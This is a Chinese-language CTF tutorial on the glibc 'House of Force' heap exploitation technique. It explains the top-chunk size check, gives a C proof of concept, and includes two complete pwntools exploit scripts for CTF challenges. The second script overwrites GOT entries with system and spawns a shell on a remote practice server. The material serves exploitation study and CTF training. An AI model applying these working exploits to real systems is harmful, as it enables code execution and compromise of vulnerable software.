House Of Force

House Of Force

简介

house of force 是一种针对 top chunk 的利用手法,它是通过修改 top_chunk 的 size 域从而完成一次几乎是任意地址的内存分配

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.29

  • 可分配任意大小的 chunk

  • 需要泄露或已知堆地址

  • 可以修改 top_chunk 的 size 域

效果

劫持 top_chunk 到任意地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A

  • A 的时候溢出,修改 top_chunksize 为很大的数

  • 分配很大的 chunk 到任意已知地址

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

House Of Force_第1张图片

原理说明

当程序需要分配一块 chunk,而 tcache 和各个 bin 中都没有对应大小的堆块的话就会从 top_chunk 中分割一个对应大小的 chunk 出来,我们先看下分割 top_chunk 的相关代码:

// 获取当前的top chunk,并计算其对应的大小
// nb 为我们想要分配的 chunk 大小 
victim = av->top; //获取top_chunk地址
size   = chunksize(victim); //获取top_chunk大小
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb; //分配后的大小
    remainder      = chunk_at_offset(victim, nb); //分配后top_chunk的地址
    av->top        = remainder;
    //下面的两个set是跟完成分配后的top_chunk和分割出去的chunk设置chunk_header
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);
​
    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

从上面代码中可以提取出分割 top_chunk 的关键步骤:

  • 比较 top_chunk.size >= nb + MINSIZE,即 top_chunk 能否有足够的空间去分割一个 nb 大小的 chunk

  • 设置 top_chunk 分割后的大小和 位置

上面这两步是存在漏洞的:

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))

首先这里比较是用无符号长整型进行比较的,并且在分割时只有这一个检查;

remainder_size = size - nb; //分配后的大小
remainder      = chunk_at_offset(victim, nb); //分配后top_chunk的地址
av->top        = remainder;

但是在分割后设置 top_chunk 的大小和位置时,是采用的有符号数;

那么问题就来了>_<

在分割后av->top = av->top + nb,如果可以控制我们想要分配 chunk 的大小 nb,那么我们就可以控制 av->top了也就是可以控制 top_chunk 的位置,但是这里有两个问题:

  • 一般而言我们想要控制的位置如 malloc_hook、got 等等都距离 top_chunk 很远,那么这时就需要 nb 很大,那么这时候很可以超过 top_chunk 的大小从而不满足 if 条件

  • 有时候我们想利用的位置在低于 top_chunk 的位置,那么这时候就需要 nb 为负数,而在 if 判断里,负数会转换为无符号数,那么就是一个大数,从而也可能导致不满足 if 条件

那怎么办呢?可别忘了,在 if 条件中,top_chunk 的 size 也会被转换成无符号数,那么如果我们可以把 top_chunk 的 size 给修改成 -1,那么就可以绕过了。—— -1 的补码二进制全为1,转换为无符号数就是最大的

利用方式

通过对原理的分析,利用方式就很清晰了:

  • 存在漏洞可以修改 top_chunk 的 size 域为 -1

  • 计算我们想要控制的位置+0x10到 top_chunk 的偏移即 nb:计算方式 下面的 new_top、old_top 指的块地址

The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
    * new_top = old_top + nb
    * nb = new_top - old_top
    * req + 2sizeof(long) = new_top - old_top
    * req = new_top - old_top - 2sizeof(long)
    * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
    * req = dest - old_top - 4*sizeof(long)

从计算方式可以知道,我们还需要知道 old_top 的地址,所以可能需要泄漏堆地址

  • 申请 nb 大小的 chunk 触发 hof

这里还有一些注意点:

1、这里得到的top_chunk需要移动的距离由于要通过request2size,就需要满足对齐参数MALLOC_ALIGN 实际上,对齐参数(MALLOC_ALIGNMENT)大小的设定需要满足以下两点:

  • 必须是2的幂

  • 必须是void *的整数倍

2、new_top 的 size 会被修改,这里如果修改了一些不能随意修改的值就会报错

glibc-2.23 eg:

#include 
#include 
#include 
#include 
#include 
#include 
​
char bss_var[] = "This is a string that we want to overwrite.";
​
int main(int argc , char* argv[])
{
        intptr_t *p1 = malloc(256);
​
        intptr_t *old_top = &p1[32];
        *(intptr_t *)((char *)old_top + sizeof(long)) = -1;
        unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)old_top;
        void *new_ptr = malloc(evil_size);
​
        void* ctr_chunk = malloc(100);
        fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
​
        fprintf(stderr, "... old string: %s\n", bss_var);
        strcpy(ctr_chunk, "YEAH!!!");
        fprintf(stderr, "... new string: %s\n", bss_var);
​
        assert(ctr_chunk == bss_var);
}

先创建大小为 0x110 的 chunk_p1,然后修改 top_chunk 的 size 域为 -1

House Of Force_第2张图片

然后再申请一块 nb 大小的 chunk 去触发 hof

House Of Force_第3张图片

我们再去申请一块 ctr_chunk,那么就会从 0x601050 这里开始分配,那么我们就可以控制 bss_var 变量了。

例题

hitcontraning_lab11 —— bamboobox

这题之前 unlink 篇章讲过,unlink 可以直接拿 shell;但是这个题目存在后面函数,且在程序一开始会创建一个 0x20 大小的 chunk 去存储两个函数指针

 v4 = malloc(0x10uLL);
 *v4 = hello_message;
 v4[1] = goodbye_message;

在程序开始时调用 v4(),程序退出时调用 v4[1]()

(*v4)();
​
case 5:
  v4[1]();
  exit(0);

这题程序存在堆溢出,且只限制了申请 chunk 的大小不为0;所以这里直接 hof 去控制上面 v4指针指向的这个chunk,然后把v4[1] 给修改为后门函数,然后退出程序就会执行后门函数了

exp:这个方法耽误了我好长时间,不知道为啥如果我一开始申请的是 0x20 的大小 chunk 的话在malloc(-80)程序就会异常退出,但是没报啥错,我这里 gdb 跟着脚本调试也有些问题好像>_<,然后我后面改成 0x30 就通了,我真的醉了,也不知道啥原理,太菜了还是

from pwn import *
​
if args['DEBUG']:
        context.log_level = 'debug'
​
io = process("./bamboobox")
elf = ELF("./bamboobox")
libc = elf.libc
​
​
def debug():
        gdb.attach(io)
        pause()
​
def cmd(index):
        io.sendlineafter(b'Your choice:', str(index).encode())
​
def add(size, name):
        cmd(2)
        io.sendlineafter(b'length of item name:', str(size).encode())
        io.sendafter(b'name of item:', name)
​
def show():
        cmd(1)
​
def change(index, size, name):
        cmd(3)
        io.sendlineafter(b'index of item:', str(index).encode())
        io.sendlineafter(b'length of item name:', str(size).encode())
        io.sendafter(b'name of the item:', name)
​
def delete(index):
        cmd(4)
        io.sendlineafter(b'index of item:', str(index).encode())
​
def exp():
​
        magic = 0x400D49
        """
        add(0x10, b'A')
        payload = b'A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
        change(0, len(payload), payload)
        add(-80, b'A') ==> 异常退出,但不知道啥错误
        """
        add(0x20, b'A')
        payload = b'A'*0x20 + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
        change(0, len(payload), payload)
        #debug()
        add(-96, b'A')
        #debug()
        add(0x10, p64(magic)*2)
        #debug()
​
        io.sendline(b'5')
        io.interactive()
​
if __name__ == "__main__":
        exp()

2016_bctf_bcloud

贴个exp:

from pwn import *
context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
​
local = False
if local:
        io = process("./pwn")
        libc = elf.libc
else:
        io = remote('node4.buuoj.cn', 25228)
        libc = ELF("/home/isidro/pwnh/buuctf/libc/u16-x32.so")
elf = ELF("./pwn")
​
def debug():
        gdb.attach(io)
        pause()
​
sd   = lambda s    : io.send(s)
sda  = lambda s, n : io.sendafter(s, n)
sl   = lambda s    : io.sendline(s)
sla  = lambda s, n : io.sendlineafter(s, n)
rc   = lambda n    : io.recv(n)
rut  = lambda s    : io.recvuntil(s, drop=True)
ruf  = lambda s    : io.recvuntil(s, drop=False)
addr = lambda s    : u32(io.recvuntil(s, drop=True).ljust(4, b'\x00'))
byte = lambda n    : str(n).encode()
sh   = lambda      : io.interactive()
​
menu = b'option--->>\n'
def add(size, content):
        sla(menu, b'1')
        sla(b'note content:\n', byte(size))
        sda(b'content:\n', content)
​
def dele(idx):
        sla(menu, b'4')
        sla(b'the id:\n', byte(idx))
​
def edit(idx, content):
        sla(menu, b'3')
        sla(b'the id:\n', byte(idx))
        sda(b'content:\n', content)
​
​
payload = b'A'*61 + b'XYZ'
sda(b'name:\n', payload)
rut(b'XYZ')
heap_base = addr(b'!') - 0x8
print("heap_base : ", hex(heap_base))
sda(b'Org:\n', b'A'*0x40)
sla(b'Host:\n', p32(0xFFFFFFFF))
​
​
add(0x10, b'A\n')
add(0x10, b'A\n')
add(0x10, b'A\n')
old_top = heap_base + 0x120
chunk_ptr_arr = 0x0804B120
offset = chunk_ptr_arr - old_top - 0x10
print("old_top : ", hex(old_top))
print("offset  : ", hex(offset))
add(offset, b'A\n')
free_got = elf.got['free']
atoi_got = elf.got['atoi']
printf_got = elf.got['printf']
payload = p32(free_got) + p32(printf_got) + p32(atoi_got) + b'\n'
add(0x28, payload)
​
echo = 0x08048779
edit(0, p32(echo)+b'\n')
dele(1)
rut(b'Hey ')
libc.address = u32(rc(4)) - libc.symbols['printf']
print("libc_base : ", hex(libc.address))
#debug()
system = libc.symbols['system']
edit(2, p32(system)+b'\n')
​
sla(menu, b'/bin/sh\x00')
#debug()
sh()

参考

Top chunk劫持:House of force攻击-安全客 - 安全资讯平台

Glibc堆利用之house of系列总结 - roderick - record and learn!

你可能感兴趣的:(PWN—house系列,house系列)